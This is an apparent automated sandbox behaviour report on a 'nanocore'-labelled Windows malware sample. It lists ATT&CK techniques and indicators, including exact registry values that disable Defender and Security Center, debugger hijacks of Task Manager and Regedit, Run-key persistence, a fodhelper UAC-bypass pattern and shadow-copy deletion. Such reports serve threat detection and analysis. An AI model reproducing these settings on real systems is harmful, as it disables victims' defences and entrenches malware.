nanocore | a3d6c68ee68673960d35485b78d06a9804d4e67651c36770c195ffb72062a4fa

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	criptor.io_chrome.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	criptor.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5032	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	criptor.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	criptor.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
3040	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	criptor.io_chrome.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	criptor.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	criptor.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	criptor.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4208	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	criptor.io_chrome.exe
File created	C:\Windows\system32\svchost.exe	criptor.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	criptor.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1672	wscript.exe
3016	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	criptor.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	criptor.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4420	sc.exe
3852	sc.exe
5036	sc.exe
364	sc.exe
2852	sc.exe
3308	sc.exe
5104	sc.exe
2340	sc.exe
3316	sc.exe
5024	sc.exe
2192	sc.exe
3716	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1428	cmd.exe
4344	cmd.exe
3580	cmd.exe
3664	cmd.exe
3828	cmd.exe
276	cmd.exe
4032	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3604	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4192	ipconfig.exe
2316	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
1484	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
212	vssadmin.exe
2408	vssadmin.exe
4704	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\Desktop\WallpaperStyle = "2"	criptor.io_chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134309194814893026"	chrome.exe

Modifies registry class 17 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open\command	criptor.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open\command\DelegateExecute	criptor.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	criptor.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	criptor.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe\" \"%1\""	criptor.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings	criptor.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell	criptor.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criptor.io_chrome.exe"	criptor.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	criptor.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	criptor.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open\command	criptor.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open	criptor.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\.pdf\ = "PDFBotnet"	criptor.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell	criptor.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings	criptor.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open	criptor.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1116	schtasks.exe
3936	schtasks.exe
1160	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2236	chrome.exe
2236	chrome.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
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4412	criptor.io_chrome.exe
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4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
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4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
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4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
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4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
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4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe
4412	criptor.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4412	criptor.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2236	chrome.exe
Token: SeCreatePagefilePrivilege	2236	chrome.exe
Token: SeIncreaseQuotaPrivilege	980	WMIC.exe
Token: SeSecurityPrivilege	980	WMIC.exe
Token: SeTakeOwnershipPrivilege	980	WMIC.exe
Token: SeLoadDriverPrivilege	980	WMIC.exe
Token: SeSystemProfilePrivilege	980	WMIC.exe
Token: SeSystemtimePrivilege	980	WMIC.exe
Token: SeProfSingleProcessPrivilege	980	WMIC.exe
Token: SeIncBasePriorityPrivilege	980	WMIC.exe
Token: SeCreatePagefilePrivilege	980	WMIC.exe
Token: SeBackupPrivilege	980	WMIC.exe
Token: SeRestorePrivilege	980	WMIC.exe
Token: SeShutdownPrivilege	980	WMIC.exe
Token: SeDebugPrivilege	980	WMIC.exe
Token: SeSystemEnvironmentPrivilege	980	WMIC.exe
Token: SeRemoteShutdownPrivilege	980	WMIC.exe
Token: SeUndockPrivilege	980	WMIC.exe
Token: SeManageVolumePrivilege	980	WMIC.exe
Token: 33	980	WMIC.exe
Token: 34	980	WMIC.exe
Token: 35	980	WMIC.exe
Token: 36	980	WMIC.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeBackupPrivilege	796	vssvc.exe
Token: SeRestorePrivilege	796	vssvc.exe
Token: SeAuditPrivilege	796	vssvc.exe
Token: SeShutdownPrivilege	2236	chrome.exe
Token: SeCreatePagefilePrivilege	2236	chrome.exe
Token: SeIncreaseQuotaPrivilege	980	WMIC.exe
Token: SeSecurityPrivilege	980	WMIC.exe
Token: SeTakeOwnershipPrivilege	980	WMIC.exe
Token: SeLoadDriverPrivilege	980	WMIC.exe
Token: SeSystemProfilePrivilege	980	WMIC.exe
Token: SeSystemtimePrivilege	980	WMIC.exe
Token: SeProfSingleProcessPrivilege	980	WMIC.exe
Token: SeIncBasePriorityPrivilege	980	WMIC.exe
Token: SeCreatePagefilePrivilege	980	WMIC.exe
Token: SeBackupPrivilege	980	WMIC.exe
Token: SeRestorePrivilege	980	WMIC.exe
Token: SeShutdownPrivilege	980	WMIC.exe
Token: SeDebugPrivilege	980	WMIC.exe
Token: SeSystemEnvironmentPrivilege	980	WMIC.exe
Token: SeRemoteShutdownPrivilege	980	WMIC.exe
Token: SeUndockPrivilege	980	WMIC.exe
Token: SeManageVolumePrivilege	980	WMIC.exe
Token: 33	980	WMIC.exe
Token: 34	980	WMIC.exe
Token: 35	980	WMIC.exe
Token: 36	980	WMIC.exe
Token: SeShutdownPrivilege	2236	chrome.exe
Token: SeCreatePagefilePrivilege	2236	chrome.exe
Token: SeDebugPrivilege	4412	criptor.io_chrome.exe
Token: SeShutdownPrivilege	2236	chrome.exe
Token: SeCreatePagefilePrivilege	2236	chrome.exe
Token: SeShutdownPrivilege	2236	chrome.exe
Token: SeCreatePagefilePrivilege	2236	chrome.exe
Token: SeShutdownPrivilege	2236	chrome.exe
Token: SeCreatePagefilePrivilege	2236	chrome.exe
Token: SeShutdownPrivilege	2236	chrome.exe
Token: SeCreatePagefilePrivilege	2236	chrome.exe
Token: SeShutdownPrivilege	2236	chrome.exe
Token: SeCreatePagefilePrivilege	2236	chrome.exe
Token: SeIncBasePriorityPrivilege	4412	criptor.io_chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe
2236	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4412	criptor.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4412 wrote to memory of 2236	4412	criptor.io_chrome.exe	87
PID 2236 wrote to memory of 1412	2236	chrome.exe	88
PID 4412 wrote to memory of 5032	4412	criptor.io_chrome.exe	89
PID 4412 wrote to memory of 5036	4412	criptor.io_chrome.exe	90
PID 4412 wrote to memory of 364	4412	criptor.io_chrome.exe	92
PID 4412 wrote to memory of 2852	4412	criptor.io_chrome.exe	95
PID 4412 wrote to memory of 3316	4412	criptor.io_chrome.exe	97
PID 4412 wrote to memory of 3308	4412	criptor.io_chrome.exe	99
PID 4412 wrote to memory of 5024	4412	criptor.io_chrome.exe	101
PID 4412 wrote to memory of 2192	4412	criptor.io_chrome.exe	103
PID 4412 wrote to memory of 3716	4412	criptor.io_chrome.exe	178
PID 4412 wrote to memory of 2148	4412	criptor.io_chrome.exe	106
PID 4412 wrote to memory of 5104	4412	criptor.io_chrome.exe	108
PID 4412 wrote to memory of 4420	4412	criptor.io_chrome.exe	110
PID 4412 wrote to memory of 212	4412	criptor.io_chrome.exe	112
PID 4412 wrote to memory of 980	4412	criptor.io_chrome.exe	114
PID 2236 wrote to memory of 1824	2236	chrome.exe	116
PID 2236 wrote to memory of 1824	2236	chrome.exe	116
PID 2236 wrote to memory of 3604	2236	chrome.exe	117
PID 2236 wrote to memory of 3568	2236	chrome.exe	118
PID 2236 wrote to memory of 3568	2236	chrome.exe	118
PID 2236 wrote to memory of 3288	2236	chrome.exe	120
PID 2236 wrote to memory of 3288	2236	chrome.exe	120
PID 2236 wrote to memory of 3668	2236	chrome.exe	121
PID 2236 wrote to memory of 3668	2236	chrome.exe	121
PID 2148 wrote to memory of 3372	2148	fodhelper.exe	122
PID 2236 wrote to memory of 2804	2236	chrome.exe	191
PID 2236 wrote to memory of 2804	2236	chrome.exe	191
PID 2236 wrote to memory of 4116	2236	chrome.exe	126
PID 2236 wrote to memory of 4116	2236	chrome.exe	126
PID 4412 wrote to memory of 1672	4412	criptor.io_chrome.exe	129
